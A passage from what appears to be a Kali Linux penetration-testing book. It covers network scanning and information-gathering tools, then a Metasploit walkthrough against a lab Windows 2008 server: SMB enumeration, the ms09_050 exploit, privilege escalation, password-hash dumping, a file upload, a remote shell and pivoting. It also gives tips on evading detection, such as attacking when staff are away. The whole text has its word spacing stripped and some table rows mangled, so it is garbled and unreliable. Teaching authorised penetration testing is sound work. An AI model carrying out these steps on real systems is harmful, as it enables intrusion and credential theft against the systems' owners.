Afterthisupdates,wearereadytogo.Nowlet'sfireuptheOpenVASservice.GototheOpenVASandclickonStartbutton.Aterminalwindowwillopenandyouwillseetherelatedservicesstarting.Oncetheyarestarted,youcanclosethiswindowandgotothefollowinglink:https://localhost:9392.
Tip
WhenwouldyounotuseOpenVAS?
Onsomecompanynetworkstherearescanningservicesinplacethatyoucanusetoscanforvulnerabilities.Thereisnosenseindoingittwice,unlessyoususpectthattheofficialcompanyscanningtoolisnotconfiguredproperlyforthescopeofthesearch,orhasnotbeenupdatedtoincludesearchesforthemostrecentvulnerabilities.ScanningservicessuchasQualys,Nexpose,andNessusaregreatscanningtoolsandaccomplishthesametaskasOpenVAS.AlltheaboveserviceswillexporttheirdatainXMLformat,whichcanbeimportedlaterintotoolssuchasMetasploit.
NowlogintotheOpenVASwebinterfacewiththepasswordthatyouchoseinChapter1,SharpeningtheSaw.Normally,theuserisadmin.Torunyourfirstscan,justenterthenetworksubnetorthesingleIPaddressofthemachinetobescannedinthescantextboxandstartthescanbyclickingtheStartScanbutton.Thelittlegeekygirlwizardwillsetupseveralnormalparametersforyouandrunthescan.Youcanalsosetupcustomscansandevenschedulejobstorunatagivendateandtime:
Setupcustomscansandschedulejobs
Oncethescanisstarted,youwillgetthefollowingscreen.YouwillseeitmarkedRequestedinaminuteorso,andthescreenwillrefresh.Nowyouwillseetheprogressbarstart.Dependingonhowlargeanetworkyouarescanning,youcaneithergogetacupofcoffee,gohaveameal,comebacktomorrow,orleavefortheweekend.Thiswilltakeawhile.AgoodthingtonoteisyoudonotneedtostayclosebytoclickaNextbuttonthroughoutthisprocess:
Completionofthescanning
Nowthatthescanhascompleted,youwillseeascreenlikethefollowingone.GototheScanManagementtabandthentoReportsinthedrop-downmenu.ThiswilltakeyoutotheReportspage:
Reportspage
TheReportspagewillgiveyoutheresultsofthescanwiththevulnerabilitiessortedfromthehighestseveritytothelowest:
Resultsofthescanonthereportspage
Fromhere,youcangenerateareportinvariousformats.Picktheformatneededandclickthegreendownarrowbutton:
Youcanthendownloadthereport.Youcaneditittohaveyourcompanylogoandanyrequiredcompanyinformationthatisnotalreadyinthedocument:
UsingMaltegoMaltegoisaninformationgatheringtoolthathasmanyusesbesidesgatheringnetworkinformation.Youcanalsogatherinformationonpeopleandcompaniesfromvarioussources.Fornow,wewilluseittogathernetworkinformationaboutapublicnetwork.
ThefirsttimeyoustartMaltego,youwillneedtodosomesettingupandalsoregisterattheirwebsiteinordertologintotheTransformservers.It'seasy,free,andspam-free,sogivingthemyoure-mailaddresswon'tbeaproblem.Onceyouhaveregistered,youwillbeaskedtopickthelevelofsearchyouwant.Inthisexample,wehavepickedaLevel1search.Maltegothenasksforthedomain,asshowninthefollowingscreenshot.Addthedomainname,andclickontheFinishbutton.TheTransformwillrunandretrievetheinformation:
Retrievingtheinformation
ChoosetheMaltegoPublicServerscheckboxinsteadofLocalTransformApplicationServer(TAS):
Chooseyourtargetdomain.Herewehavechosenthewww.boweaver.comdomain.Youwillwanttochooseadomainthatyouownorcontrolforthisstep:
Choosingthedomain
TheLevel1scaninthefollowingscreenshotshowsthetargetdomainnamewithrelatedwebsites,machinesservingthesite,andDNSserversresolvingthedomain:
Viewofthetargetdomainname
Thisisanicestart,butwereallywantsomemoreinformationonthis,soweright-clickonthewebsitewww.boweaver.comandgototheTransformslist.WearegoingtoruntheResolvetoIPBuiltWithTechnologytransformstofindthetypesofservicerunningandtheIPaddressofthesite:
TypesofservicerunningandtheIPaddress
WecanseethattheIPaddressis164.243.238.98andthesiteisrunningDebianastheOS,Apache2.2asthewebserver,andPHPasthesiteframework:
Bydouble-clickingonaniconyougetaDetailswindow.Here,youcankeepnotesonthenode,attachrelatedfiles,anddoseveralsearches,suchasGoogleandWikipedia:
UsingtheProversionyoucangeneratereportsandgraphsofthemaps.Thecommunityversionisalsolimitedto12nodesforeachsearchofanode.
Maltegocanbeusedtocompileallyournotesandgatherdatafromyourpenetrationtesting.YouwillalsofindanapplicationcalledCasefileinstalledonKali.CasefileisanofflineversionofMaltegousedtostoreandcompiledatafromsecuritywork.
YoucanfindWindowsversionsoftheseapplicationsonlineathttp://www.paterva.com.Seetheirwebsiteformoreindepthusageoftheir
UsingUnicorn-ScanUnicorn-Scanisanotherportscanningtool.Itcreatesachrootedenvironment(userland)toprotectyoufromthepossiblyhostilenetworkyouarescanning.Itcanbeusedfromthecommandline,orfromaPostgreSQL-poweredfrontend.Wewillshowyouthecommand-lineversionhere.ThefollowingchartisaconcordancefromNmapusersfromthedocumentationontheUnicorn-Scanprojectwebsite:
AbasicconnectscantofindallopenportsinarangeusingUnicorn-Scanisunicornscan-ieth0-Ir160-E10.0.0.012/32:20-600.Ifwebreakthisupintosections,thecommandisasfollows:
ieth0:Itdefinestheinterfaceeth0ontheKalimachine-Ir160:Itshastwooptionsinagroup
-I:ItistellingUnicorn-Scantoprinttoscreenimmediatelyasopenportsarefound-r160:Itissettingthescanrateto160portspersecond(PPS)
-E10.0.0.012/32:20-600:ItisthetargetrangeTheClasslessInter-DomainRouting(CIDR)codeshowsanetworkmaskof/32bits,whichmeansasingleIPaddressTheportrangeisfrom20to600:
Theextremelyverboseversionofthesamescanwith-vvvvgivesyoualotmoreinformation.Proto6istheTCPprotocol,andProto17isUDPprotocol.Theextremelyverboseversionisloadingtestsforapossiblewebserveratport80(TCP)andseveralexpectedUDPset-ups:DNSatport53;SIPprotocolatport5060;MicrosoftSimpleServiceDiscoveryProtocol(SSDP)atport1900;andTalkd,aservicethatallowstwouserstobeloggedintothesamemachine,suchasthesituationthatexistswhentwopeopleareshelledintothesameservice,onport518:
Tip
HackerTip
Awordhereonnotetaking!Pentestinggathersalotofdata,evenonasmallnetwork.ImeanALOT!Sowhenpentesting,youneedtheabilitytogatheryourincomingdataasyou'retesting.
Kalicomeswithseveralapplicationsforthis.Whicheveroneyouchoose,chooseitanduseit.Ifyouneedtogobacksixweeksafterthetestisruntoverifysomething,you'llbehappyyoudid.Also,whentestingahighsecurityenvironmentsuchasanetworkthatmustbeeitherHIPPAorPCIcompliant,thesenotescanbeusefulduringyourcertification.Keepallyourprojectfilesin
onedirectorywiththesameframework.Furthermore,itispossiblethatyourworkmaybeusedincourt,eithertolitigateagainstyourclient,athirdparty,oryou,yourself.Yournotesareyouronlydefenseinthelattercase.Thefollowingisaframeworkweuse:
1. Makeafolderfortheclientorganization.2. Thenmakeafolderfortheactualtestwiththedateinthefoldername.Itis
safetoassumethatwhereveryouplyyourtrade,youwillseethesameclientsoverandover.Ifyouarenotseeingrepeatbusiness,somethingiswrongwithyourownbusinessmodel.ext-20150315translatestoanexternaltestconductedonMarch15th,2015.20150315isaUnixdatewhichbreaksouttoYYYY/MM/DD.IfyouseeUnixdatestampsthatlooklike20150317213209,thatisbrokendowntothesecond.
3. Insideofthatfolder,setupevidence,notes,andscans-docsdirectories.Allevidencecollectedandscreenshotsaredroppedintotheevidencefolder.NotesfromKeepNotearekeptinthenotesfolder,andscansandotherrelateddocumentsarekeptinthescans-docsfolder.Whenwestartconductingtestslaterinthisbook,youwillseethisframeworkbeingused:
Evenifyouworkforonlyonecompany,keepeachtest'sdataseparatedanddated.Itwillhelpkeepingtrackofyourtesting.
Fortheactualnote-taking,Kalicomeswithseveralapplications.Maltegoisoneofthesetoolsandiscapableofkeepingallyourdatainoneplace.Theauthors'favoritesareKeepNoteandMaltego.YousawanintroductiontoKeepNoteinChapter1,SharpeningtheSaw.KeepNoteisasimplenote-takingapplication.Asyouruntests,keepcopiesofoutputfrommanualexploits,individualscandata,andscreenshots.Whatmakesthisniceisyouhavetheabilitytoformatyourdataasyougo,soimportingitintoatemplatelaterisjustamatterofcopyandpaste.ThenextimageisanexcellentsetupforKeepnote:
NoticetheProjectNotespageforgeneralnotesabouttheproject,andindividualpagesunderthetargetsfolderfornotesoneachmachinebeingtested.
MonitoringresourceusewithHtopAgreattoolthatweoftenaddtoKaliishtop.Htopisacommand-linetoolsimilartoWindowsTaskManager.Itisimportanttoknowtherateofuseformemory,swap-file,CPU,cyclesandIOPS.Htopletsyouusethemousetosortbyanycategory,andcanmeananimprovementinscanperformance.ThisisthesameinformationthattheToptoolgivesyou,butbeinganncursesapplication,itgivesyouamoremodernGUI-likefeelwithoutusinglargequantitiesofresourcestoshowtheresourcedata.Forthefollowingimage,westartedalongscannmap-A100.0.0.0/8.TheIceweasellinesaretheDebian/Kaliall-free-softwareversionofFirefox,whichhasthesamememory-hoggingbehaviorofFirefox.NmapscansusealotofCPUcycles,andnotsomuchmemory:
MonkeyingaroundthenetworkThenetworkscanner,EtherApe,isanothertoolyoumightwanttohaveinstalledonyourhackbox.Itshowsagraphicdisplayoftheprotocolsinuseonthenetwork.Intheimagesbelow,10.0.0.4istheKalihackbox.Alloftheotherendpointsareinternalandexternalhosts.Theprotocollistrunsuptheleftside:
WhenyouarerunningEtherApe,youcanreallyseehownoisyaportscancanbe.Youcanalsoseeothersurprises,suchaspeopledownloadinglargefiles,suchasmusicandmovies.Thelinesarelargerwhenthedatabeingmovedislarger.Thelargesolarobjectintheimagebelowisthesourceofafiledownload,andthetriangularflight-pathtothehackboxshowsthedestinationmachine:
SummaryWeshowedyousomeofthetoolsweusetodiscovertheextentsofatargetnetwork.Weusemostofthesetoolseverysingleweek.Thefirstthree,Nmap,Zenmap,andOpenVAS,areinusedaily.MaltegoandKeepNotehelpyoukeepyourevidenceinorder.Unicorn-ScanisaninterestingalternativetoNmap.EtherApeisreallyatoolyoucanuseasagraphicaldisplayofwhatishappeninginyournetwork.Justrunitonautilityboxwiththeoutputscreenwhereyoucanseeit.YouwillbeabletoseetrafficissuesbeforeyourIPSsendsanalert.Ifyouhavebeentryingthingsoutasyouwentalong,youshouldbeabletoproduceacompleteandpreciseoverviewofthenetwork,andbeabletostarttargetingspecificmachinesforattacksinanynetwork.
Inthenextchapter,we'llbelearningtheuseoftoolstoexploitseveralcommonwindowsvulnerabilitiesandguidelinestocreateandimplementnewexploitsforupcomingvulnerabilities.
Chapter3.ExploitationTools(Pwnage)Webeginwiththefunstuffinthischapter:pwnage!Forthosewhodonotknow,pwnishowahackerwouldsay"own."Ifyouhavebeenpwned,yoursystemshavebeen"owned."Whenyoufullycompromiseaserver,youownit.Exploitationistheprocessofowningorcompromisingthemachine.Thusfar,wehavegatheredinformationonourtargetbygatheringpublicinformationonthetargetandscanningthetargetnetworkforvulnerabilities.Wearenowreadyfortheattack.
"Yes,IhavejustpwnedyourWindowsserverinunder3minutes."
Wewilllearnthefollowinginthischapter,inordertomountanattack:
UsingtheMetasploitFrameworktoexploitWindowsoperatingsystemsUsingadvancedfootprintingbeyondmerevulnerabilityscanningExploitingasegmentednetworkusingthepivot
ChoosingtheappropriatetimeandtoolBlackHatswillpickthebusiesttimestohityournetworkanddoitasslowlyandquietlyaspossible.Theywilltrytostayunderthenoiseofnormaloperation.Yes,therearemoreeyesonthenetworkatthattime,butasmartcrackerknowsthatiftheyareslowandquiet,heavytrafficisagoodcover.Ifyouhavegoodintelontheworkflowsandstaffingofthetargetcompany,youmightchoosetoattackatasparselystaffedmoment,suchasweekendsorholidays.Thisoftenworksbetteratsmallercompanies.
Ifyou'retheSecurityOperationsguyandyou'retestingyourownnetwork,thisisnotagoodidea.Testduringyouroffhours–it'sbestwhentheCEOisasleep.Ifanyaccidentshappenduringthetest,thingscanbefixedandrunningproperlybeforethenextdaywhentheCEOisawake.Exploitationdoesn'tnormallykillasystembeyondrepairduringtesting,butsomeexploitswillsometimeshangaserviceorcompletelyhangthesystemtothepointwhereitneedsareboot.TheentirepurposeofsomeexploitsistheDenialofService(DoS)toaserviceorasystem.Wedon'tseetheseastrueexploits.Yes,youhaveattackedthesystemandtakenitoffline;however,youhaven'tpenetratedthemachine.Youhavemadeasuccessfulattackbutyoudonotpwnit.Therealbadguysdon'tuseDoSattacks.Theywanttogetinandstealorcopydatafromalloveryournetwork.ServicesgoingdowndrawtheattentionoftheITstaff.Thisisnotagoodthingifyouaretryingtobreakin.Itcould,however,beusedasadiversion,ifyouareexfiltratingdatafromadifferentmachineorattackinganotherhost.
DoStoolsarealsoconsideredexploitsbecausetheyworkonthesysteminthesamewayasexploitsmight.ADoShangsasystem.Togainaccess,anexploitalsomayhangasystemlongenoughfortheexploittoinjectsometypeofcodetogainaccess.Basically,youmakethemachinegostupidforlongenoughtoestablishaconnection.Whenyourexploittoolfails,itmayjustlooklikeaDoSattack.Ifyouhaveachoice,itisbettertohavethefailedexploitlooklikeatemporarydenialofservice,whichcanbemisinterpretedasaninnocentNICfailureatanoriginhost,thanasacrackertestingexploitcodeonthetargetsystem.
Tip
HackerTrick
Wheneveryouaretesting,alwayshavesomeoneorsomewaytoreboottheserviceofasystemwhenyouaretestingthem.Alwayshavecontactinformationforpeopletocall"whenthingsgowrong"beforeyoustarttesting.Thoughyoumaytrytobequietandnotknockanythingoffline,youshouldalwayshaveyourPlanBinplace.
"ExploitingWindowsSystemswithMetasploitFearNottheCommandLine."
-->BoWeaver
TheMetasploitFrameworkistheultimatetoolkit.Therewasatimewhenbuildingapen-testingmachinewouldtakedays.Everyindividualexploittoolwouldhavetobe:
TrackeddownandresearchedDownloaded(overadial-upInternetconnection)CompiledfromsourceTestedonyourcrackingplatform
Now,fromthegreatpeopleatRapid7,comestheMetasploitFramework.Metasploitbringsjustabouteverytoolyou'lleverneedasapluginorfunctionwithintheframework.Itdoesn'tmatterwhatOSorevenwhatkindofdeviceyoudiscoveronthenetworkyouaretesting,Metasploitislikelytohaveamoduletoexploitit.Wedo90%ofourworkwithMetasploit.
ChoosingtherightversionofMetasploitMetasploitcomesintwoversions:theCommunityversionandtheProfessionalversion.Atthecommandline,theyareboththesame.ThemajorfeaturesyougetwiththeProfessionalversionareanicewebinterfaceandsomereportingtoolsthatwillbuildreportsforyoufromthatinterface.Youalsogetsomegoodtoolsfortestinglargenetworksthataren'tavailablefromthecommandline.OnefeatureisthatyoucanpickamachineorseveralmachinesfromtheimportedvulnerabilityscanandtheProversionwillautomaticallypickoutmodulesandruntheseagainstthetargetmachines.Ifyouareworkingonlargenetworksoraredoingalotoftesting,gettheProfessionalversion.ItiswellworththemoneyandyoucaneasilyuseitonyourKaliattackplatform.
Forthisbook,wewillbeusingtheCommunityversionthatcomeswithKaliLinux.
Warning!KalinolongercomeswiththeProfessionalversionpre-installed,duetothestinkynewUSlawsonso-calledhackingtools.IfyouareintherightcountryandwanttoloadtheProversion;setupanewdirectorytoinstalltheProversioninto.Makeadirectorycalled/opt/metasploit-proandinstallitthere.Duringtheinstalloftheproversion,itwillproperlylinkupandaddthenewmetasploitcommandssoeverythingwillworkproperly.RemembertokeepthecommunityversiononKali.OtherKalitoolswillstilldependonthecommunityinstallbase.ToupgradetheProfessionalversion,usetheupgradesectioninthewebinterface.Tip!WhenusingMetasploitatthecommandline,the"Tab"keywilldoalotofauto-completeforyou.For"showoptions,"typesh<tab>o<tab>,andyouwillseethiswillauto-completethecommands.ThisworksthroughoutMetsploit.Also,torepeatcommands,thearrowupkeywilltakeyoutopreviouscommands.Thisisthehistoryfeature.Thisfeatureisreallyuseful.Forexample,youcanscrollbacktothecommanddesignatingthetarget"setRHOST192.168.202.3"whenchangingmodulesandattackingthesamemachine.
StartingMetasploitOK,let'sfireupMetasploit.First,becauseMetasploitusesaclient/servermodel,weneedtoturnontheMetasploitservices.InKali1.x,youhadtostarttheMetasploitserverintheMenuBar.GotoApplications|KaliLinux|SystemServices|Metasploit|community/prostart:
Aterminalwindowwillopenandtheserviceswillstartup.AmarkedimprovementinKali2meansthatallyouhavetodoisclicktheMetasploitlinkontheleftside-barorinthemainApplicationsmenu.
Oncetheserviceshavestarted,typemsfconsoletostarttheMetasploitconsole.Whenwetypeworkspace,wecanseetheworkspaces.Wewillsetupanewworkspaceshortly.
Tip
HackerTip
ThefirsttimeyoustarttheMetasploitconsole,itwillcreatethedatabase,soyouwillgettowatch90secondsofSQLlanguagegoby.
Whentheconsoleisready,itwillshowyoualittletalkingcow(#cowsay++)introducingyoutoMetasploit:
Togetalistoftheconsolecommands,typehelpatanytime.
msf>help
CoreCommands
Command Description Command Description
? Helpmenu previous Setsthepreviouslyloadedmoduleasthecurrentmodule
back Movesbackfromthecurrentcontext pushm Pushestheactivelistofmodulesontothemodulestack
banner DisplaysanawesomeMetasploitbanner
quit Exitstheconsole
cd Changesthecurrentworkingdirectory reload_all Reloadsallmodulesfromalldefinedmodulepaths
color Togglescolor rename_job Renamesajob
connect Communicateswithahost resource Runsthecommandsstoredinafile
edit Editsthecurrentmodulewith$VISUALor$EDITOR
route Routestrafficthroughasession
exit Exitstheconsole save Savestheactivedatastores
get Getsthevalueofacontext-specificvariable
search Searchesmodulenamesanddescriptions
getg Getsthevalueofaglobalvariable sessions Dumpssessionlistingsanddisplaysinformationaboutsessions
go_pro LaunchesMetasploitwebGUI set Setsacontext-specificvariabletoavalue
grep Grepstheoutputofanothercommand setg Setsaglobalvariabletoavalue
help Launchesthehelpmenu show Displaysmodulesofagiventype,orallmodules
info Displaysinformationaboutoneormoremodule
sleep Doesnothingforthespecifiednumberofseconds
moremodule seconds
irb Dropsintoirbscriptingmode spool Writesconsoleoutputintoafileaswellthescreen
jobs Displaysandmanagesjobs threads Viewsandmanipulatesbackgroundthreads
kill Killsajob unload Unloadsaframeworkplugin
load Loadsaframeworkplugin unset Unsetsoneormorecontext-specificvariables
loadpath Searchesforandloadsmodulesfromapath
unsetg Unsetsoneormoreglobalvariables
makerc Savescommandsenteredsincestarttoafile
use Selectsamodulebyname
popm Popsthelatestmoduleoffthestackandmakesitactive
version Showstheframeworkandconsolelibraryversionnumbers
DatabaseBack-endCommands
Command Description Command Description
creds Listsallcredentialsinthedatabase db_status Showsthecurrentdatabasestatus
db_connect Connectstoanexistingdatabase hosts Listsallhostsinthedatabase
db_disconnect Disconnectsfromthecurrentdatabaseinstance
loot Listsalllootinthedatabase
db_export Exportsafilecontainingthecontentsofthedatabase
notes Listsallnotesinthedatabase
db_import Importsascanresultfile(filetypewillbe services Listsallservicesinthe
Importsascanresultfile(filetypewillbeauto-detected)
Listsallservicesinthedatabase
db_nmap Executesnmapandrecordstheoutputautomatically
vulns Listsallvulnerabilitiesinthedatabase
db_rebuild_cache Rebuildsthedatabase-storedmodulecache workspace Switchesbetweendatabaseworkspaces
Togethelponindividualcommands,typehelp<command>;thescreenshotbelowshowstwoexamplesshowingtheuseandhostscommandhelp.Wehavealistingshowingitsusageandexplanationofanyflagsthatworkwiththecommand.
CreatingworkspacestoorganizeyourattackFirst,weneedtosetupaworkspace.Workspacesareabighelpinkeepingyourtestinginorder.Theworkspacesholdallyourcollecteddataofthetest,includinganylogincredentialsthatarecollectedandanysystemdatacollectedduringanexploit.It'sbesttokeepyourtestingdataseparatesoyoucancomparetheresultsofaprevioustestlater.We'regoingtosetupaprojectcalledTestCompany-int-20150402.Thisisawaytonameprojects,with<client-name>-[int(internal)|ext(external)]-<start-date(unix-style)>
Thiswillhelpyou6monthsdowntheroadtorememberwhichtestiswhat.
Tocreateanewprojecttype:
workspace-aTestCompany-int-20150402
Toentertheworkspacetype:
workspaceTestCompany-int-20150402
Noticethatafterenteringtheworkspaceandtypingtheworkspacecommandagain,theasteriskhasmovedtheTestCompanyproject.Theasteriskshowstheworkingworkspace.
Wecanpulldatafromascanintotheworkspaceusingthedb_importcommandfromanxmlfilegeneratedbythescanningapplication.AllscanningapplicationswillexporttheirdatatoxmlandMetasploitwillautomaticallyimportthedatafromthemajorscanningapplications.
Youcanalsoimporthosts,services,andnetworkinformationusingNmapanddirectlyimportNmap'soutputintoMetasploitusingthemsfconsole'sdb_nmapcommand.Thiscommandworkswithallthenormalnmapcommand-lineflags.Thedb_informsMetasploittoimportthedata.RunningjustnmapwillrunthescanbutnodatawillbeimportedintoMetasploit;youwilljustseetheoutputofthecommand.
Wehaverunthecommand:
db_nmap-A-sV-O192.168.202.0/24
The-Atellsnmaptorunalltests.The-sVtellsnmaptorecordtheversioningofanyrunningservices.The-Otellsnmaptorecordtheoperatingsystemofanyrunninghosts.Wewillseetheoutputoftherunningscan;however,thisdataisalsocollectedinthedatabase.Then,wecanalsoseetheresultsafterimportingbyrunningthehostsandservicescommands.
UsingthehostsandservicescommandsNext,weseetheresultsofrunningthefollowingcommands:
hosts
services
Withthehostscommand,wegetalistofallactiveIPaddresses,anycollectedmachinenames,andtheoperatingsystemofthemachine.Byrunningtheservicescommand,wegetalistofallrunningservicesonthenetworkandtheirrelatedIPaddress.Youcanchangethetablelistingsfromthecommandbyusingthe-cflag.Thehelpinformationforthesecommandsisshowninthefollowingscreenshot.
UsingadvancedfootprintingVulnerabilityscansonlyprovideminimalinformation.Whenactuallyattackingthemachine,youwanttoperformsomedeeplevelprobestocheckforhelpfulinformationleaks.Fromthescans,wecanseethatbothaWindowsDomainControllerandaWindowsFileServerrunWindows2008Server.BothhaveSMB/NetBIOSservicesrunning.AgoodfirstattackvectorinacaselikethisistoexploittheSMB/NetBIOSservices,whichareknowntohaveexploitableweaknesses.So,let'slookcloserattheseservices.
Beforewegoanyfurtherintofootprintingthetargetmachines,hereisournoteaboutnotes.Especiallywhengettingintomanualprobes,remembertokeepnotesonyouroutputsandyourfindings.Copy/pasteisyourbestfriend.Vulnerabilityscansalmostalwaysproducenicereportswiththedataallcompiledinoneplace.Manuallyprobingdoesn't,soit'suptoyou.WestronglysuggestusingKeepNote,whichwefirstvisitedinChapter1,SharpeningtheSawbecauseyouwillbecollectinganawfullotofdatathatyoumayneedlater.Don'ttrustyourmemoryforthis.Likeadetectiveonacase,chronicleeverything.
Thefollowingisournormallayoutfortesting.ThebestthingaboutKeepNoteisthattheframeworkisveryopenandcanbesetupandusedasyoulike.Thissetupuses:
Afolderfortheclientcompanyinwhichisfound:ApageforgeneralprojectnotesAfolderfortargetsIndividualpagesforeachsystembeingtested
KeepNoteevencomeswithaniceExporttoHTMLtoolwhereyoucanexportyournotessotheycanbereadbyotherswithoutthemhavingKeepNote.
1. First,weusenbtscantogetaquicklookatthedomainnameorworkgroupnameandanyotherbasicNetBIOSdatawe'llneed.So,let'sopenanewterminalwindowandrunthiscommand:
nbtscan-v-s:192.168.202.0/24
The-vflagisforverbosemodeandwillprintoutallgatheredinformation.The-s:flagwillseparatethedatawithacolon.
WecanseethatthedomainnameisLAB1andallmachinesaremembersofthatdomain;wewillneedthisinformationlater.
2. Backinthemsfconsolewindow,runthecommand:
msf>searchsmb
WegetalistingofallthemodulesrelatedtotheSMBservice.Thisisalistingofscanning,probes,exploits,andpostexploitsmodules.First,wearegoingtocheckwhetherthereareexposedsharesandthencheckwhethertheGuestaccounthasanyrightsonthemachine.Wepickauxiliary/scanner/smb/smb_enumshares.YoucanselectthetextandcopyitbyhittingCtrl+Shift+C;youcanpasteusingCtrl+Shift+V.
3. Tousethemodule,runthecommand:
useauxiliary/scanner/smb/smb_enumshares
Thiswillputyouintothemodule.Thefollowingwayinwhichwehaveusedthismoduleisthenormalwayofusingallthemodules.Theconfigurationsforthedifferentmodulesmaybedifferent,howevertheoperationofgettingintoamoduleandconfiguringarethesame.
Theusecommandisthewaytoaccessanymodule.Ifyouwanttobackoutofthemodule,youtypethebackcommandwithnooptionortargetinformation.
4. Byrunningthecommand,
infoauxiliary/scanner/smb/smb_enumshares
Wecanseeinformationandhelpinformationaboutthemodulewithoutactuallyenteringthemodule.
5. Afterenteringthemoduletype,
showoptions
Itwillshowyoutheusableparametersforthemodule.Withthismodule,wewillneedtosetthehoststoprobethedomainnameandtheuseraccount.ByrunningthismodulewiththeSMBUseraccountasblank,youcanchecktoseeiftheEveryonegrouphasanypermissions.SettingittoGuestwillcheckwhethertheGuestaccountisenabled;however,itwillalsochecktheEveryonegroup.
Noticethatwehaveaparameter,RHOSTS;thisistheparametertosetthehostyouaregoingtoprobe.Thisisascannermodule,sotheparameterispluralandwillacceptanetworkrangeorasinglehost.
6. Wesettheconfigurationbytyping
setRHOSTS192.168.202.3
setSMBDomainLAB1
setSMBUserGuest
showoptions
Theshowoptionscommandwillpulluptheconfigurationagainsoyoucancheckitbeforerunningthescan.
Interpretingthescanandbuildingontheresult
Below,weseetheresultsofthescannerrunbytyping
exploit
Weseethatthescanfailedbutitdidgiveusvaluableinformation.First,bythescanfailing,wenowknowthattherearenosharesopentotheEveryonegroup.Bytheresponse,wecantellthattheserviceisactivebutisrefusingtoallowaconnection.Second,wecanseethat,infact,theGuestaccountisdisabled.Onecouldsaythatthishaslednowhere,butfromthiswehavedeterminedthattheserviceisactiveandacceptingconnectionsfromourIPaddress,whichisimportantinformationforournextmove.
TheSMBserviceusesRPCpipestotransferinformationandtheRPCserviceisknownforleakingsysteminformationsometimes;so,let'slookatwhatwe'vegot.Todothis,wewilluseDCERPCPipeAuditormodule.
useauxiliary/scanner/smb/pipe_dcerpc_auditor
showoptions
Wecanseethemoduleconfigurationinthefollowingscreenshot.Wecanusethearrowkeystoarrowuptotheconfigurationsfromtheearliermoduleandset
thearrowkeystoarrowuptotheconfigurationsfromtheearliermoduleandsettheSMBDomainandRHOSTSsettings.
setSMBDomainLAB1
setRHOSTS192.168.202.3
showoptions
exploit
ItseemsourSMBserviceiswelllockeddown.We'llseeaboutthatinaminute.
Exploitingpoorpatchmanagement
Lookingovertheearlierscanscompleted,wecantellthatthemachinehasn'tbeenpatchedinawhile.Also,fromournetworkfootprinting,weknowthatthisisaWindows2008server,sothisrulesoutusingexploitsearlierthan2008.Wecanalsotellfromourprobesthatweaklinksintheconfigurationoftheserverarepresent.Weneedanexploitthatwillworkaroundtheseroadblocks.
Pickingtherightexploitisamatterofexperienceandtrialanderror.Notallworkandsometakemorethanonetrytoexploitasystem.Don'tgiveupifatfirstyoudon'tsucceed.TheaverageWindowsinstallationhasseveralexploitablevulnerabilities.
Wehavepickedtheexploit/windows/smb/ms09_050_smb2_negotiate_func_index.ThisexploitattackstheSMBrequestvalidationfunctionwithanoutofboundscallandestablishesaMeterpretersession.TheMeterpreterisaMetasploitshellthatworkswithremoteconnectionsandhasalotoftoolstousetogainelevatedprivilege,gatherhashes,andsysteminformation.Onceattheprompt,typehelptoseethesecommands:
Congratulations!Youhaveopenedasessiononthetargetmachine.Nowthingsgetinteresting.Sinceyouhaveasessionopenonthetargetmachine,youcanfindoutthedetailsthatcanonlybefoundfrominsidethemachine:
1. Firstweneedtoelevateouraccessbytypinggetsystem.Weseethatwegotapositiveresult,sowenowhaveSYSTEMaccesstothisserver.Togetfurtherinformation,typesysinfotofindoutaboutthespecificbuildofWindowsServerOSandthegeneralarchitectureofthehardware.Inthiscase,theOSisa32-bitversion,whichisbecomingmoreandmoreunusual.Thex86designationtellsyouthat.Now,justforfun,typeinipconfigtofindouthowmanynetworkcardsarepresentonthemachineandtowhichsubnetstheyaredefined.
2. Next,wetypehashdump,andnowwehavethehashesofallthelocalaccounts.Notethe500afterthenameAdministrator;thisistheUserIdentifier(UID).TheAdministratorUIDisalways500onaWindowsmachine.IftheAdministrator'saccountnamehasbeenchanged,youcanstillseewhichaccountthelocaladministratorisbythisnumber.IfwecopyandpastetheseaccountsandhashesintoatextfileandthenimportitintotheJohnnyCrackingTool,wewillsoonhavethepasswords.
3. Next,let'suploadafile.Nowthiscouldbeavirus,atrojan,oranysortoffileatall.Youcannowuploadanything,includingmoretoolsforexploitation.Sinceyounowownit,youcanuploadandinstallanythingyoulike.Here,aspartofthetestingprocedure,we'regoingtouploadatextfilecalledyouvebeenpwned.txtintotheC:\Windows\System32\directory.Intesting,weusedthissortofbenignfileasevidencethatwehavebeenthereandhadtheabilitytouploadfilestoanareatowhichonlyuserswithadministrativeprivilegescanwritefiles.
Tip
HackerTip
Thefirsttimewetriedtouploadthefileitfailed.Inthedestination,wetypeditasc:\windows\system32;weusedbackslashes,andasyoucanseeintheoutput,theslasheswereomittedandallthetextwasruntogether.TheMeterpreterisaLinuxcommandline,soyoumustusetheforwardslash/.Thesecondattemptusedforwardslashes,sothefilewassuccessfullyuploadedtothesystem.
OntheWindowsmachine,wecannowseethefileintheSystems32directory.Thiswillworkforevidencethattheserverisvulnerabletoattack.
Wasn'tthateasy?
Findingoutwhetheranyoneishome
Movingalong,weneedtolookandseeifwehaveanyoneloggedinatthemoment.Itwouldbecounter-productivetojustmakealotofnoiseorcallout,"Isthereanybodyin?"Inarealhack,theattackerwillwaituntilthereisn'tanyonein.Wecanseebelowthatwehaveoneuserloggedinwithanactivedesktop.
SomeexploitsinMetasploitwillopenadesktopduringtheexploit;ifthisisthecase,youwillseetheexploitssessionnumberundertheSessiontable.Allzerosalsotellsusthattheactivedesktopisactuallyauseronthemachine.
Sofar,duringthissession,wehaveescalatedourprivileges,uploadedafile,andcheckedtoseeifanyoneiswatching.Whatweneednowisashelltorunthefileweuploaded(ifithadbeensomethingnastyandwewerearealattacker).
TocreateacommandshellontheownedWindowsmachine,typeshell.Younowhaveashellontheremotemachine.Note:intheexamplebelow,theLinuxlscommandtolistthecurrentdirectorycontentsdoesn'tworkbecauseyouarenowinWindows.
UsingthepivotSometimesweneedtojumpfromonenetworktoanother,sometimesbecauseofnetworksegregationorperhapstojumppastafirewall.ThisiscalledaPivot.Pivotsaredifferentbetweenoperatingsystems,andsotheMetasploitmodulesyouneedtousemightbedifferent.Here,wewillpivotfromaWindowsmachine.Onasegregatednetwork,themachineweneedtoattackisthemachinethathasaninterfaceonbothnetworks.Sometimesthiscanbefoundinyournetworkprobes,fromtheleakedsysteminformationgleanedfromRPCorSNMPprobes.Also,sometimesmachinenameswillgiveawaythisinformation.IfthereisamachinenamedJumpBox,thatistheoneyouwant.
Tip
HackerTip
